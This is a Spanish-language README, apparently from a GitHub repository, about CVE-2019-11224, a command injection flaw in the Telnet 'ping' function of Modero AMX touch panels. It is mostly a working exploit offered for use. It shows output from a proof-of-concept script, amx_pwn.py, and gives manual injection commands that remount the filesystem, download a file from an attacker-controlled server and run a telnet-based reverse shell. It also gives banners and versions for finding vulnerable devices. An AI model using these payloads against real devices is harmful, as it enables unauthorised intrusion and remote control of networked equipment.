Modero AMX Code Execution (CVE-2019-11224)

Este repositorio contiene algunas fuentes sobre CVE-2019–11224 (https://link.medium.com/zukA0oCnV8) porque noté que el enlace ya no funciona en el sitio web oficial de NIST. Los dispositivos Modero AMX son esencialmente paneles táctiles para salas de reuniones; se pueden observar en muchos entornos diferentes y normalmente tienen Telnet abierto. Debido a que emulan una consola poco ideal mediante Telnet, existe una vulnerabilidad de inyección de código a través de la función "ping" usando separadores de comandos.

Desde que creé originalmente este repositorio de GitHub y comencé a investigar dispositivos AMX, he creado un POC y un proceso de explotación para obtener reverse shells con esta vulnerabilidad. Espero que os traiga alegría :}

🐢 Obteniendo shells con amx_pwn.py

He escrito un POC amx_pwn.py que debería ser útil. Ejemplo de salida a continuación:

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7  Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

Los pasos para realizar esto manualmente se pueden ver a continuación:

• Vuelve a montar el sistema de archivos como R/W:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
  
• Aloja un archivo accesible para el dispositivo: el contenido debe ser el siguiente:
  Nota: Necesitas dos listeners de netcat, uno será para la entrada y el otro para la salida.
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
  
• Descarga tu archivo: NOTA: Debe ser una IP y servirse mediante HTTP. Estos dispositivos son antiguos.
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
  
• Ejecuta tu archivo y captura las shells:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ Identificando el servicio Modero AMX

Comprueba si hay banners de Telnet (normalmente en el puerto 23) que contengan: Welcome to Modero: o Copyright (C) AMX LLC. Busca versiones anteriores a la 2.87.13.